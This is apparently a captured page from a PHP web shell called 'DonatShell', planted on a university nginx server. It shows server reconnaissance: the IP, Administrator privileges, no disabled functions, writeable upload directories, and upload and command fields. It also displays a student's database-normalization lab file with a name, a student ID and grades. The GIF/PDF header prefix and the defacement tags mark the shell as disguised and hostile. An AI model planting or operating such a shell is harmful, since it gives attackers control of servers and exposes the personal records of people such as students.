GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20245/CST1600/41/16411022/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20245/CST1600/41/16411022/Lab09/ThomasThesing-Lab09.txt
UNF:
studentgrades
(StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP)

lettergrade 
(LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9)

possiblepoints 
(SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

1NF:
Created grades table with StudentID as primary key and a score value.
Renamed studentgrades table to student table.
Removed repeating groups for assignment names by creating AssignmentID and placing it in possiblepoints as primary key and grades as foreign key, while assinging SP and all the labs an ID, while also associating each ID with an MaxPoints value.
In the lettergrade table, I created GradeID as a primary key to remove groups by assigning each letter grade and their respective percentage an ID. I also placed GradeID in grades as a foreign key.

student table:
StudentID*, StudentName, AssignmentID@, GradeID@, Total, Final, IP

grades table:
StudentID*@, AssignmentID*@, Score, GradeID@

lettergrade table:
GradeID*, LetterGrade, Percentage

possiblepoints table:
AssignmentID*, AssignmentName, MaxPoints*

2NF: OK

3NF: OK

Three data rows:

student table:
StudentID*	StudentName	Total	Final	IP
84228748	Lael Abbott	4	F	F
84228748	Lael Abbott	14	F	F
84228748	Lael Abbott	19	F	F

grades table
StudentID*@	AssignmentID@	Score	GradeID@
84228748	1		4	4
84228748	2		10	1
84228748	3		5	1

lettergrade table:
GradeID*	LetterGrade	Percentage
1		A		93
2		A-		90
3		B+		87
4		B		83
5		B-		80
6		C+		77
7		C		73
8		C-		70
9		F		0

possiblepoints table:
AssignmentID*	AssignmentName	MaxPoints
1		SP		5
2		Lab01		10
3		Lab02		5
4		Lab03		10
5		Lab04		10
6		Lab05		15
7		Lab06		10
8		Lab07		15
9		Lab08		15
10		Lab09		15
11		Total		110

Anon7 - 2022
AnonSec Team